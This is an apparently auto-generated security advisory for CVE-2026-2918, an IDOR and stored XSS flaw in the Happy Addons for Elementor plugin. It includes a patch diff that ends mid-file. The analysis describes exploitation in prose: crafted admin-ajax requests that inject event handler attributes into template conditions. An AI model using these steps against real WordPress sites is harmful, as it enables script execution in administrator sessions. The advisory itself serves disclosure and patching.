Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-2918: Happy Addons for Elementor <= 3.21.0 – Insecure Direct Object Reference to Authenticated (Contributor+) Stored Cross-Site Scripting via Template Conditions (happy-elementor-addons)

CVE ID CVE-2026-2918
Severity Medium (CVSS 6.4)
CWE 639
Vulnerable Version 3.21.0
Patched Version 3.21.1
Disclosed March 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2918:
The vulnerability consists of two linked security flaws in Happy Addons for Elementor versions up to 3.21.0. The root cause is an Insecure Direct Object Reference (IDOR) in the `ha_condition_update` AJAX action handler within the `Condition_Manager` class. The `validate_reqeust()` method incorrectly uses `current_user_can(‘edit_posts’, $template_id)` instead of `current_user_can(‘edit_post’, $template_id)`. WordPress’s `edit_posts` capability is a general permission check that does not validate object-level access, allowing users with Contributor+ roles to modify any published `ha_library` template regardless of ownership.

The `ha_get_current_condition` AJAX action lacks any capability check entirely, enabling unauthorized retrieval of template condition data. When attackers exploit these authorization flaws to inject malicious display conditions, the `cond_to_html()` renderer in `condition-manager.php` outputs condition values directly into HTML attributes using string concatenation without proper escaping via `esc_attr()`. This creates a stored Cross-Site Scripting (XSS) vector where injected event handler attributes (like `onmouseover`) execute JavaScript when administrators view the Template Conditions panel.

Exploitation requires Contributor-level access or higher. Attackers send POST requests to `/wp-admin/admin-ajax.php` with `action=ha_condition_update` and `template_id` parameter targeting any published template. The payload includes malicious condition values in the `conds` parameter. The `ha_get_current_condition` endpoint at the same URI with `action=ha_get_current_condition` can be used for reconnaissance to identify existing templates.

The patch addresses three issues. First, it renames `validate_reqeust()` to `validate_template_request()` and corrects the capability check to `current_user_can(‘edit_post’, $template_id)`. Second, it adds `validate_template_request()` to the previously unprotected `ha_get_current_condition` method. Third, it implements proper output escaping in the `cond_to_html()` method by wrapping `$sub_name` and `$sub_id` values with `esc_attr()` and `esc_html()` functions. The patch also adds a new `validate_general_request()` method for non-template-specific AJAX endpoints.

Successful exploitation enables authenticated attackers with minimal privileges to inject arbitrary JavaScript that executes in administrator sessions, potentially leading to site takeover, data theft, or malware distribution.

Differential between vulnerable and patched code

Code Diff
--- a/happy-elementor-addons/classes/clone-handler.php
+++ b/happy-elementor-addons/classes/clone-handler.php
@@ -7,234 +7,237 @@

 class Clone_Handler {

-	/**
-	 * Request and nonce action name
-	 */
-	const ACTION = 'ha_duplicate_thing';
-
-	/**
-	 * Check if current user can clone
-	 *
-	 * @return bool
-	 */
-	public static function can_clone() {
-		return current_user_can( 'edit_posts' );
-	}
-
-	/**
-	 * Check if current user and post author are same
-	 *
-	 * @param int $post_id
-	 * @return boolean
-	 */
-	public static function is_the_same_author($post_id) {
-		$author_id = get_post_field( 'post_author', $post_id );
-		return ( get_current_user_id() == $author_id );
-	}
-
-	/**
-	 * Add clone link in row actions
-	 *
-	 * @param array $actions
-	 * @param WP_Post $post
-	 * @return array
-	 */
-	public static function add_row_actions( $actions, $post ) {
-		if ( current_user_can( 'edit_post', $post->ID ) && post_type_supports( $post->post_type, 'elementor' ) ) {
-			$actions[ self::ACTION ] = sprintf(
-				'<a href="%1$s" title="%2$s"><span class="screen-reader-text">%2$s</span>%3$s</a>',
-				esc_url( self::get_url( $post->ID, 'list' ) ),
-				sprintf( esc_attr__( 'Clone - %s', 'happy-elementor-addons' ), esc_attr( $post->post_title ) ),
-				esc_html__( 'Happy Clone', 'happy-elementor-addons' )
-			);
-		}
-
-		return $actions;
-	}
-
-	/**
-	 * Duplicate requested post
-	 *
-	 * @return void
-	 */
-	public static function duplicate_thing() {
-		if ( ! self::can_clone() ) {
-			return;
-		}
-
-		$_uri = $_SERVER['REQUEST_URI'];
-
-		// Resolve finder clone request issue
-		if ( stripos( $_uri, '&' ) !== false ) {
-			$_uri = html_entity_decode( $_uri );
-			$_uri = parse_url( $_uri, PHP_URL_QUERY );
-			$valid_args = ['_wpnonce', 'post_id', 'ref'];
-			parse_str( $_uri, $args );
-
-			if ( ! empty( $args ) && is_array( $args ) ) {
-				foreach ( $args as $key => $val ) {
-					if ( in_array( $key, $valid_args, true ) ) {
-						$_GET[ $key ] = $val;
-					}
-				}
-			}
-		}
-
-		$nonce = isset( $_GET['_wpnonce'] ) ? $_GET['_wpnonce'] : '';
-		$post_id = isset( $_GET['post_id'] ) ? absint( $_GET['post_id'] ) : 0;
-		$ref = isset( $_GET['ref'] ) ? sanitize_text_field($_GET['ref']) : '';
-
-		if ( ! wp_verify_nonce( $nonce, self::ACTION ) ) {
-			return;
-		}
-
-		$post_status = get_post_status ( $post_id );
-		$same_author = self::is_the_same_author( $post_id );
-
-		if ( ('private' == $post_status || 'draft' == $post_status) && ! $same_author ) {
-			wp_die( __( 'Sorry, you are not allowed to clone this item.' ) );
-		}
-
-		if ( post_password_required( $post_id ) && ! $same_author ) {
-			wp_die( __( 'Sorry, you are not allowed to clone this item.' ) );
-		}
-
-		if ( is_null( ( $post = get_post( $post_id ) ) ) ) {
-			return;
-		}
-
-		$post = sanitize_post( $post, 'db' );
-		$duplicated_post_id = self::duplicate_post( $post );
-		$redirect = add_query_arg( [ 'post_type' => $post->post_type ], admin_url( 'edit.php' ) );
-
-		if ( ! is_wp_error( $duplicated_post_id ) ) {
-			self::duplicate_taxonomies( $post, $duplicated_post_id );
-			self::duplicate_meta_entries( $post, $duplicated_post_id );
-
-			$css = Post_CSS::create( $duplicated_post_id );
-			$css->update();
-
-			if ( $ref === 'editor' ) {
-				$document = ha_elementor()->documents->get( $duplicated_post_id );
-				$redirect = $document->get_edit_url();
-			}
-		}
-
-		wp_safe_redirect( $redirect );
-		die();
-	}
-
-	/**
-	 * Get clone url with required query params
-	 *
-	 * @param $post_id
-	 * @param string $ref
-	 * @return string
-	 */
-	public static function get_url( $post_id, $ref = '' ) {
-		return wp_nonce_url(
-			add_query_arg(
-				[
-					'action' => self::ACTION,
-					'post_id' => $post_id,
-					'ref' => $ref,
-				],
-				admin_url( 'admin.php' )
-			),
-			self::ACTION
-		);
-	}
-
-	/**
-	 * Clone post
-	 *
-	 * @param $old_post
-	 * @return int $dulicated post id
-	 */
-	protected static function duplicate_post( $post ) {
-		$current_user = wp_get_current_user();
-
-		$duplicated_post_args = [
-			'post_status'    => 'draft',
-			'to_ping'        => $post->to_ping,
-			'post_type'      => $post->post_type,
-			'menu_order'     => $post->menu_order,
-			'post_author'    => $current_user->ID,
-			'post_parent'    => $post->post_parent,
-			'ping_status'    => $post->ping_status,
-			'post_excerpt'   => $post->post_excerpt,
-			'post_content'   => $post->post_content,
-			'post_password'  => $post->post_password,
-			'comment_status' => $post->comment_status,
-			'post_title'     => sprintf( __( '%s - [Cloned #%d]', 'happy-elementor-addons' ), $post->post_title,
-				$post->ID ),
-		];
-
-		return wp_insert_post( $duplicated_post_args );
-	}
-
-	/**
-	 * Copy post taxonomies to cloned post
-	 *
-	 * @param $post
-	 * @param $duplicated_post_id
-	 */
-	protected static function duplicate_taxonomies( $post, $duplicated_post_id ) {
-		$taxonomies = get_object_taxonomies( $post->post_type );
-		if ( ! empty( $taxonomies ) && is_array( $taxonomies ) ) {
-			foreach ( $taxonomies as $taxonomy ) {
-				$terms = wp_get_object_terms( $post->ID, $taxonomy, [ 'fields' => 'slugs' ] );
-				wp_set_object_terms( $duplicated_post_id, $terms, $taxonomy, false );
-			}
-		}
-	}
-
-	/**
-	 * Copy post meta entries to cloned post
-	 *
-	 * @param $post
-	 * @param $duplicated_post_id
-	 */
-	protected static function duplicate_meta_entries( $post, $duplicated_post_id ) {
-		global $wpdb;
-
-		$entries = $wpdb->get_results(
-			$wpdb->prepare( "SELECT meta_key, meta_value FROM {$wpdb->postmeta} WHERE post_id = %d", $post->ID )
-		);
-
-		if ( is_array( $entries ) ) {
-			// $query = "INSERT INTO {$wpdb->postmeta} ( post_id, meta_key, meta_value ) VALUES ";
-			// $_records = [];
-			// foreach ( $entries as $entry ) {
-			// 	$_value = wp_slash( $entry->meta_value );
-			// 	$_records[] = "( $duplicated_post_id, '{$entry->meta_key}', '{$_value}' )";
-			// }
-			// $query .= implode( ', ', $_records ) . ';';
-			// $wpdb->query( $query  );
-
-			foreach ( $entries as $entry ) {
-				$wpdb->insert(
-					$wpdb->postmeta,
-					[
-						'post_id'    => $duplicated_post_id,
-						'meta_key'   => $entry->meta_key,
-						'meta_value' => $entry->meta_value,
-					],
-					[ '%d', '%s', '%s' ]
-				);
-			}
-
-			// foreach ( $entries as $entry ) {
-			// 	update_post_meta( $duplicated_post_id, $entry->meta_key, $entry->meta_value );
-			// }
-
-
-
-			// Fix Template Type Wrong issue
-			$source_type = get_post_meta($post->ID, '_elementor_template_type', true);
-			delete_post_meta($duplicated_post_id, '_elementor_template_type');
-			update_post_meta($duplicated_post_id, '_elementor_template_type', $source_type);
-		}
-	}
+    /**
+     * Request and nonce action name
+     */
+    const ACTION = 'ha_duplicate_thing';
+
+    /**
+     * Check if current user can clone
+     *
+     * @return bool
+     */
+    public static function can_clone() {
+        return current_user_can( 'edit_posts' );
+    }
+
+    /**
+     * Check if current user and post author are same
+     *
+     * @param  int       $post_id
+     * @return boolean
+     */
+    public static function is_the_same_author( $post_id ) {
+        $author_id = get_post_field( 'post_author', $post_id );
+
+        return ( get_current_user_id() == $author_id );
+    }
+
+    /**
+     * Add clone link in row actions
+     *
+     * @param  array    $actions
+     * @param  WP_Post $post
+     * @return array
+     */
+    public static function add_row_actions( $actions, $post ) {
+        if ( current_user_can( 'edit_post', $post->ID ) && post_type_supports( $post->post_type, 'elementor' ) ) {
+            $actions[self::ACTION] = sprintf(
+                '<a href="%1$s" title="%2$s"><span class="screen-reader-text">%2$s</span>%3$s</a>',
+                esc_url( self::get_url( $post->ID, 'list' ) ),
+                sprintf( esc_attr__( 'Clone - %s', 'happy-elementor-addons' ), esc_attr( $post->post_title ) ),
+                esc_html__( 'Happy Clone', 'happy-elementor-addons' )
+            );
+        }
+
+        return $actions;
+    }
+
+    /**
+     * Duplicate requested post
+     *
+     * @return void
+     */
+    public static function duplicate_thing() {
+        if ( !self::can_clone() ) {
+            return;
+        }
+
+        $_uri = $_SERVER['REQUEST_URI'];
+
+        // Resolve finder clone request issue
+        if ( stripos( $_uri, '&' ) !== false ) {
+            $_uri       = html_entity_decode( $_uri );
+            $_uri       = parse_url( $_uri, PHP_URL_QUERY );
+            $valid_args = ['_wpnonce', 'post_id', 'ref'];
+            parse_str( $_uri, $args );
+
+            if ( !empty( $args ) && is_array( $args ) ) {
+                foreach ( $args as $key => $val ) {
+                    if ( in_array( $key, $valid_args, true ) ) {
+                        $_GET[$key] = $val;
+                    }
+                }
+            }
+        }
+
+        $nonce   = isset( $_GET['_wpnonce'] ) ? $_GET['_wpnonce'] : '';
+        $post_id = isset( $_GET['post_id'] ) ? absint( $_GET['post_id'] ) : 0;
+        $ref     = isset( $_GET['ref'] ) ? sanitize_text_field( $_GET['ref'] ) : '';
+
+        if ( !$post_id || !get_post( $post_id ) ) {
+            wp_die( __( 'Invalid post.' ) );
+        }
+
+        if ( !current_user_can( 'edit_post', $post_id ) ) {
+            wp_die( __( 'Sorry, you are not allowed to clone this item.' ) );
+        }
+
+        $post_status = get_post_status( $post_id );
+        $same_author = self::is_the_same_author( $post_id );
+
+        if ( ( 'private' == $post_status || 'draft' == $post_status ) && !$same_author ) {
+            wp_die( __( 'Sorry, you are not allowed to clone this item.' ) );
+        }
+
+        if ( post_password_required( $post_id ) && !$same_author ) {
+            wp_die( __( 'Sorry, you are not allowed to clone this item.' ) );
+        }
+
+        if ( null === ( ( $post = get_post( $post_id ) ) ) ) {
+            return;
+        }
+
+        $post               = sanitize_post( $post, 'db' );
+        $duplicated_post_id = self::duplicate_post( $post );
+        $redirect           = add_query_arg( ['post_type' => $post->post_type], admin_url( 'edit.php' ) );
+
+        if ( !is_wp_error( $duplicated_post_id ) ) {
+            self::duplicate_taxonomies( $post, $duplicated_post_id );
+            self::duplicate_meta_entries( $post, $duplicated_post_id );
+
+            $css = Post_CSS::create( $duplicated_post_id );
+            $css->update();
+
+            if ( $ref === 'editor' ) {
+                $document = ha_elementor()->documents->get( $duplicated_post_id );
+                $redirect = $document->get_edit_url();
+            }
+        }
+
+        wp_safe_redirect( $redirect );
+        die();
+    }
+
+    /**
+     * Get clone url with required query params
+     *
+     * @param  $post_id
+     * @param  string     $ref
+     * @return string
+     */
+    public static function get_url( $post_id, $ref = '' ) {
+        return wp_nonce_url(
+            add_query_arg(
+                [
+                    'action'  => self::ACTION,
+                    'post_id' => $post_id,
+                    'ref'     => $ref
+                ],
+                admin_url( 'admin.php' )
+            ),
+            self::ACTION
+        );
+    }
+
+    /**
+     * Clone post
+     *
+     * @param  $old_post
+     * @return int         $dulicated post id
+     */
+    protected static function duplicate_post( $post ) {
+        $current_user = wp_get_current_user();
+
+        $duplicated_post_args = [
+            'post_status'    => 'draft',
+            'to_ping'        => $post->to_ping,
+            'post_type'      => $post->post_type,
+            'menu_order'     => $post->menu_order,
+            'post_author'    => $current_user->ID,
+            'post_parent'    => $post->post_parent,
+            'ping_status'    => $post->ping_status,
+            'post_excerpt'   => $post->post_excerpt,
+            'post_content'   => $post->post_content,
+            'post_password'  => $post->post_password,
+            'comment_status' => $post->comment_status,
+            'post_title'     => sprintf( __( '%s - [Cloned #%d]', 'happy-elementor-addons' ), $post->post_title,
+                $post->ID )
+        ];
+
+        return wp_insert_post( $duplicated_post_args );
+    }
+
+    /**
+     * Copy post taxonomies to cloned post
+     *
+     * @param $post
+     * @param $duplicated_post_id
+     */
+    protected static function duplicate_taxonomies( $post, $duplicated_post_id ) {
+        $taxonomies = get_object_taxonomies( $post->post_type );
+        if ( !empty( $taxonomies ) && is_array( $taxonomies ) ) {
+            foreach ( $taxonomies as $taxonomy ) {
+                $terms = wp_get_object_terms( $post->ID, $taxonomy, ['fields' => 'slugs'] );
+                wp_set_object_terms( $duplicated_post_id, $terms, $taxonomy, false );
+            }
+        }
+    }
+
+    /**
+     * Copy post meta entries to cloned post
+     *
+     * @param $post
+     * @param $duplicated_post_id
+     */
+    protected static function duplicate_meta_entries( $post, $duplicated_post_id ) {
+        global $wpdb;
+
+        $entries = $wpdb->get_results(
+            $wpdb->prepare( "SELECT meta_key, meta_value FROM {$wpdb->postmeta} WHERE post_id = %d", $post->ID )
+        );
+
+        if ( is_array( $entries ) ) {
+            // $query = "INSERT INTO {$wpdb->postmeta} ( post_id, meta_key, meta_value ) VALUES ";
+            // $_records = [];
+            // foreach ( $entries as $entry ) {
+            //     $_value = wp_slash( $entry->meta_value );
+            //     $_records[] = "( $duplicated_post_id, '{$entry->meta_key}', '{$_value}' )";
+            // }
+            // $query .= implode( ', ', $_records ) . ';';
+            // $wpdb->query( $query  );
+
+            foreach ( $entries as $entry ) {
+                $wpdb->insert(
+                    $wpdb->postmeta,
+                    [
+                        'post_id'    => $duplicated_post_id,
+                        'meta_key'   => $entry->meta_key,
+                        'meta_value' => $entry->meta_value
+                    ],
+                    ['%d', '%s', '%s']
+                );
+            }
+
+            // foreach ( $entries as $entry ) {
+            //     update_post_meta( $duplicated_post_id, $entry->meta_key, $entry->meta_value );
+            // }
+
+            // Fix Template Type Wrong issue
+            $source_type = get_post_meta( $post->ID, '_elementor_template_type', true );
+            delete_post_meta( $duplicated_post_id, '_elementor_template_type' );
+            update_post_meta( $duplicated_post_id, '_elementor_template_type', $source_type );
+        }
+    }

 }
--- a/happy-elementor-addons/classes/condition-manager.php
+++ b/happy-elementor-addons/classes/condition-manager.php
@@ -101,8 +101,6 @@

         return apply_filters('happyaddons/conditions/archive', $conditions);
     }
-
-
     private function singular_conditions() {
         $conditions = [
             'all' => [
@@ -226,7 +224,55 @@
         return $keys;
     }

-    protected function validate_reqeust() {
+
+    /**
+     * Validate a general AJAX request that does NOT operate on a specific template.
+     *
+     * This method verifies:
+     * - The request nonce for CSRF protection.
+     * - The current user's capability to access the editor context.
+     *
+     * Intended for endpoints that return global/shared data
+     * (e.g., condition autocomplete results) and do not require
+     * object-level authorization.
+     *
+     * @version 1.0.0
+     *
+     * @throws Exception If the nonce is invalid or the user lacks permission.
+     * @return void
+     */
+    protected function validate_general_request() {
+
+        $nonce = $_REQUEST['nonce'] ?? '';
+
+        if ( !wp_verify_nonce( $nonce, 'ha_editor_nonce' ) ) {
+            throw new Exception( 'Invalid request' );
+        }
+
+        if ( !current_user_can( 'edit_posts' ) ) {
+            throw new Exception( 'Unauthorized request' );
+        }
+    }
+
+    /**
+     * Validate a template-specific AJAX request.
+     *
+     * This method performs full object-level authorization and ensures:
+     * - The request nonce is valid (CSRF protection).
+     * - A valid template ID is provided.
+     * - The template exists and belongs to the expected post type.
+     * - The current user has permission to edit the specific template
+     *   via WordPress meta capability mapping (edit_post).
+     *
+     * This protects against IDOR (Insecure Direct Object Reference)
+     * and unauthorized access to template data.
+     *
+     * @version 1.0.1
+     *
+     * @throws Exception If validation fails at any step.
+     * @return void
+     */
+    protected function validate_template_request() {
         $nonce = !empty($_REQUEST['nonce']) ? $_REQUEST['nonce'] : '';
 		$template_id = isset( $_REQUEST['template_id'] ) ? absint( $_REQUEST['template_id'] ) : null;

@@ -234,7 +280,7 @@
             throw new Exception('Invalid request');
         }

-		if (!current_user_can('edit_posts', $template_id)) {
+		if (!current_user_can('edit_post', $template_id)) {
 			throw new Exception('Unauthorized request');
 		}

@@ -252,7 +298,7 @@

     public function ha_get_template_type() {
         try {
-            //$this->validate_reqeust();
+            //$this->validate_template_request();
             $id = isset($_REQUEST['post_id']) ? absint($_REQUEST['post_id']) : null;
             if ($id) {
                 $tpl_type = get_post_meta($id, '_ha_library_type', true);
@@ -269,7 +315,7 @@
     // update template conditions
     public function process_condition_update() {
         try {
-            $this->validate_reqeust();
+            $this->validate_template_request();
             $templateID = isset($_REQUEST['template_id']) ? absint($_REQUEST['template_id']) : null;
             $requestConditions = isset($_REQUEST['conds']) ? ha_sanitize_array_recursively($_REQUEST['conds']) : [];

@@ -359,7 +405,7 @@

     public function process_condition_update_old() {
         try {
-            $this->validate_reqeust();
+            $this->validate_template_request();
             $templateID = isset($_REQUEST['template_id']) ? $_REQUEST['template_id'] : null;
             $conditions = isset($_REQUEST['conds']) ? $_REQUEST['conds'] : [];

@@ -454,7 +500,7 @@

     public function ha_get_current_condition() {
         try {
-            // $this->validate_reqeust();
+            $this->validate_template_request();
             $templateID = isset($_REQUEST['template_id']) ? absint($_REQUEST['template_id']) : null;
             // wp_send_json_success($templateID);
             if ($templateID) {
@@ -486,9 +532,9 @@
             $sub_name = $parsed_condition['sub_name'];
             $sub_id = $parsed_condition['sub_id'];

-            $sub_name_html = ($sub_name) ? '<option value="' . $sub_name . '" selected="selected">' . $this->all_conds_list[$sub_name]['title'] . '</option>' : '';
+            $sub_name_html = ($sub_name) ? '<option value="' . esc_attr($sub_name) . '" selected="selected">' . esc_html($this->all_conds_list[$sub_name]['title']) . '</option>' : '';

-            $sub_id_html = ($sub_id) ? '<option value="' . $sub_id . '" selected="selected">' . get_the_title($sub_id) . '</option>' : '';
+            $sub_id_html = ($sub_id) ? '<option value="' . esc_attr($sub_id) . '" selected="selected">' . esc_html(get_the_title($sub_id)) . '</option>' : '';

             $uuid = uniqid();
             $if = function ($condition, $true, $false) {
@@ -517,12 +563,12 @@
             </select>
         </div>
         <div class="ha-tce-sub_name" $sub_name_visibility>
-            <select data-id="sub_name-$uuid" data-parent="$uuid" data-setting="sub_name" data-selected="$sub_name">
+            <select data-id="sub_name-$uuid" data-parent="$uuid" data-setting="sub_name" data-selected="esc_attr($sub_name)">
             $sub_name_html
             </select>
         </div>
         <div class="ha-tce-sub_id" $sub_id_visibility>
-            <select data-id="sub_id-$uuid" data-parent="$uuid" data-setting="sub_id" data-selected="$sub_id">
+            <select data-id="sub_id-$uuid" data-parent="$uuid" data-setting="sub_id" data-selected="esc_attr($sub_id)">
             $sub_id_html
             </select>
         </div>
@@ -539,7 +585,7 @@

     public function process_autocomplete() {
         try {
-            $this->validate_reqeust();
+            $this->validate_general_request();

             $object_type = !empty($_REQUEST['object_type']) ? trim(sanitize_text_field($_REQUEST['object_type'])) : '';

--- a/happy-elementor-addons/classes/theme-builder.php
+++ b/happy-elementor-addons/classes/theme-builder.php
@@ -1,204 +1,205 @@
 <?php

-	namespace Happy_AddonsElementorClasses;
+    namespace Happy_AddonsElementorClasses;

-	defined( 'ABSPATH' ) || die();
+    defined( 'ABSPATH' ) || die();

-	use Happy_AddonsElementorClassesConditions_Cache;
+    use Happy_AddonsElementorClassesConditions_Cache;

-	class Theme_Builder {
-		public static $instance = null;
+    class Theme_Builder {
+    public static $instance = null;

-		protected $templates;
-		protected $current_theme;
-		protected $current_template;
-		protected $current_location;
-
-		private $cache;
-		private $location_cache;
-
-		const CPT      = 'ha_library';
-		const TAB_BASE = 'edit.php?post_type=ha_library';
-
-		public $header_template;
-		public $footer_template;
-		public $singular_template;
-
-		public function __construct() {
-			add_action( 'wp', [ $this, 'hooks' ] );
-			// $this->cache = new Conditions_Cache();
-			$this->cache = Conditions_Cache::instance();
-
-			add_filter( 'query_vars', [$this, 'add_query_vars_filter'] );
-			add_filter( 'views_edit-' . self::CPT, [$this, 'admin_print_tabs'] );
-			add_action( 'init', [$this, 'create_themebuilder_cpt'], 0 );
-			add_action( 'admin_menu', [$this, 'modify_menu'], 90 );
-			add_action( 'pre_get_posts', [$this, 'add_role_filter_to_posts_query'] );
-
-			// Only for evementor v2
-			add_action( 'elementor/editor/v2/scripts/enqueue', [$this, 'ha_template_element_scripts'] );
-
-			// Theme builder scripts
-			add_action( 'elementor/editor/after_enqueue_scripts', [$this, 'ha_template_element_scripts'] );
-			add_action( 'elementor/editor/after_enqueue_scripts', [$this, 'edit_template_condition_modal'], 10, 2 );
-
-			add_filter( 'elementor/document/config', [$this, 'ha_template_document_title'], 10, 2 );
-
-			// Admin Actions
-			add_action( 'admin_action_ha_library_new_post', [$this, 'admin_action_new_post'] );
-
-			add_action( 'current_screen', function () {
-				$current_screen = get_current_screen();
-				if ( ! $current_screen || ! strstr( $current_screen->post_type, 'ha_library' ) ) {
-					return;
-				}
-				add_action( 'in_admin_header', function () {
-					$this->render_admin_top_bar();
-				} );
-				// add_action('admin_head', [$this, 'add_new_template_template']);
-				add_action( 'in_admin_footer', [$this, 'add_new_template_template'], 10, 2 );
-			} );
-
-			add_action( 'manage_' . self::CPT . '_posts_columns', [__CLASS__, 'admin_columns_headers'] );
-			add_action( 'manage_' . self::CPT . '_posts_custom_column', [$this, 'admin_columns_content'], 10, 2 );
-
-			//Override Single Post Template
-			add_filter( 'template_include', [$this, 'ha_theme_builder_content'], 999 );
-			add_action( 'happyaddons_theme_builder_render', [ $this, 'single_blog_content_elementor' ], 999 );
-
-			add_action( 'elementor/elements/categories_registered', [$this, 'add_elementor_widget_categories'] );
-
-			// Register Ajax Handles
-			// add_action( 'wp_ajax_ha_cond_template_type', [$this, 'ha_get_template_type'] );
-		}
-
-		public function add_elementor_widget_categories( $elements_manager ) {
-			if ( self::CPT == get_post_type() ) {
-				$elements_manager->add_category(
-					'happy_addons_theme_builder',
-					[
-						'title' => esc_html__( 'Happy Theme Builder', 'happy-elementor-addons' ),
-						'icon'  => 'fa fa-plug'
-					]
-				);
-			}
-		}
-
-		public static function get_template_types() {
-			$template_types = [
-				'header'  => esc_html__( 'Header', 'happy-elementor-addons' ),
-				'footer'  => esc_html__( 'Footer', 'happy-elementor-addons' ),
-				'single'  => esc_html__( 'Single', 'happy-elementor-addons' ),
-				'archive' => esc_html__( 'Archive', 'happy-elementor-addons' )
-			];
-
-			// return apply_filters('happyaddons_theme_builder_template_types', $template_types);
-
-			return apply_filters( 'happyaddons/theme-builder/template-types', $template_types );
-		}
-
-		public function add_query_vars_filter( $vars ) {
-			$vars[] = 'ha_library_type';
-
-			return $vars;
-		}
-
-		// Register Custom Post Type Theme Builder
-		public function create_themebuilder_cpt() {
-
-			$labels = [
-				'name'                  => _x( 'Theme Builder', 'Post Type General Name', 'happy-elementor-addons' ),
-				'singular_name'         => _x( 'Theme Builder', 'Post Type Singular Name', 'happy-elementor-addons' ),
-				'menu_name'             => _x( 'Theme Builder', 'Admin Menu text', 'happy-elementor-addons' ),
-				'name_admin_bar'        => _x( 'Theme Builder', 'Add New on Toolbar', 'happy-elementor-addons' ),
-				'archives'              => __( 'Theme Builder Archives', 'happy-elementor-addons' ),
-				'attributes'            => __( 'Theme Builder Attributes', 'happy-elementor-addons' ),
-				'parent_item_colon'     => __( 'Parent Theme Builder:', 'happy-elementor-addons' ),
-				'all_items'             => __( 'All Theme Builder', 'happy-elementor-addons' ),
-				'add_new_item'          => __( 'Add New Theme Builder', 'happy-elementor-addons' ),
-				'add_new'               => __( 'Add New', 'happy-elementor-addons' ),
-				'new_item'              => __( 'New Theme Builder', 'happy-elementor-addons' ),
-				'edit_item'             => __( 'Edit Theme Builder', 'happy-elementor-addons' ),
-				'update_item'           => __( 'Update Theme Builder', 'happy-elementor-addons' ),
-				'view_item'             => __( 'View Theme Builder', 'happy-elementor-addons' ),
-				'view_items'            => __( 'View Theme Builder', 'happy-elementor-addons' ),
-				'search_items'          => __( 'Search Theme Builder', 'happy-elementor-addons' ),
-				'not_found'             => __( 'Not found', 'happy-elementor-addons' ),
-				'not_found_in_trash'    => __( 'Not found in Trash', 'happy-elementor-addons' ),
-				'featured_image'        => __( 'Featured Image', 'happy-elementor-addons' ),
-				'set_featured_image'    => __( 'Set featured image', 'happy-elementor-addons' ),
-				'remove_featured_image' => __( 'Remove featured image', 'happy-elementor-addons' ),
-				'use_featured_image'    => __( 'Use as featured image', 'happy-elementor-addons' ),
-				'insert_into_item'      => __( 'Insert into Theme Builder', 'happy-elementor-addons' ),
-				'uploaded_to_this_item' => __( 'Uploaded to this Theme Builder', 'happy-elementor-addons' ),
-				'items_list'            => __( 'Theme Builder list', 'happy-elementor-addons' ),
-				'items_list_navigation' => __( 'Theme Builder list navigation', 'happy-elementor-addons' ),
-				'filter_items_list'     => __( 'Filter Theme Builder list', 'happy-elementor-addons' )
-			];
-			$args = [
-				'label'               => __( 'Theme Builder', 'happy-elementor-addons' ),
-				'description'         => __( '', 'happy-elementor-addons' ),
-				'labels'              => $labels,
-				'supports'            => [ 'title', 'elementor' ],
-				'taxonomies'          => [],
-				'public'              => true,
-				'show_ui'             => true,
-				'show_in_menu'        => '',
-				'show_in_admin_bar'   => false,
-				'show_in_nav_menus'   => false,
-				'can_export'          => true,
-				'has_archive'         => false,
-				'hierarchical'        => false,
-				'exclude_from_search' => true,
-				'capability_type'     => 'page'
-			];
-			register_post_type( 'ha_library', $args );
-		}
-
-		public function modify_menu() {
-			add_submenu_page(
-				Dashboard::PAGE_SLUG, // Parent slug
-				__( 'Theme Builder', 'happy-elementor-addons' ), // Page title
-				__( 'Theme Builder', 'happy-elementor-addons' ), // Menu title
-				'manage_options', // Capability
-				'edit.php?post_type=ha_library', // Slug
-				false// Function
-			);
-		}
-
-		public function add_role_filter_to_posts_query( $query ) {
-			/**
-			 * No use on front
-			 * pre get posts runs everywhere
-			 * even if you test $pagenow after, bail as soon as possible
-			 */
-			if ( ! is_admin() ) {
-				return;
-			}
-
-			global $pagenow;
-
-			/**
-			 * use $query parameter instead of global $post_type
-			 */
-			if ( 'edit.php' === $pagenow && self::CPT === $query->query['post_type'] ) {
-
-				if ( isset( $_GET['ha_library_type'] ) ) {
-					$meta_query = [
-						[
-							'key'     => '_ha_library_type',
-							'value'   => sanitize_text_field( $_GET['ha_library_type'] ),
-							'compare' => '=='
-						]
-					];
-					$query->set( 'meta_query', $meta_query );
-					$query->set( 'meta_key', '_ha_library_type' );
-				}
-			}
-		}
+    protected $templates;
+    protected $current_theme;
+    protected $current_template;
+    protected $current_location;
+
+    private $cache;
+    private $location_cache;
+
+    const CPT      = 'ha_library';
+    const TAB_BASE = 'edit.php?post_type=ha_library';
+
+    public $header_template;
+    public $footer_template;
+    public $singular_template;
+
+    public function __construct() {
+        add_action( 'wp', [$this, 'hooks'] );
+        // $this->cache = new Conditions_Cache();
+        $this->cache = Conditions_Cache::instance();
+
+        add_filter( 'query_vars', [$this, 'add_query_vars_filter'] );
+        add_filter( 'views_edit-' . self::CPT, [$this, 'admin_print_tabs'] );
+        add_action( 'init', [$this, 'create_themebuilder_cpt'], 0 );
+        add_action( 'admin_menu', [$this, 'modify_menu'], 90 );
+        add_action( 'pre_get_posts', [$this, 'add_role_filter_to_posts_query'] );
+
+        // Only for evementor v2
+        add_action( 'elementor/editor/v2/scripts/enqueue', [$this, 'ha_template_element_scripts'] );
+
+        // Theme builder scripts
+        add_action( 'elementor/editor/after_enqueue_scripts', [$this, 'ha_template_element_scripts'] );
+        add_action( 'elementor/editor/after_enqueue_scripts', [$this, 'edit_template_condition_modal'], 10, 2 );
+
+        add_filter( 'elementor/document/config', [$this, 'ha_template_document_title'], 10, 2 );
+
+        // Admin Actions
+        add_action( 'admin_action_ha_library_new_post', [$this, 'admin_action_new_post'] );
+
+        add_action( 'current_screen', function () {
+            $current_screen = get_current_screen();
+            if ( !$current_screen || !strstr( $current_screen->post_type, 'ha_library' ) ) {
+                return;
+            }
+            add_action( 'in_admin_header', function () {
+                $this->render_admin_top_bar();
+            } );
+            // add_action('admin_head', [$this, 'add_new_template_template']);
+            add_action( 'in_admin_footer', [$this, 'add_new_template_template'], 10, 2 );
+        } );
+
+        add_action( 'manage_' . self::CPT . '_posts_columns', [__CLASS__, 'admin_columns_headers'] );
+        add_action( 'manage_' . self::CPT . '_posts_custom_column', [$this, 'admin_columns_content'], 10, 2 );
+
+        //Override Single Post Template
+        add_filter( 'template_include', [$this, 'ha_theme_builder_content'], 999 );
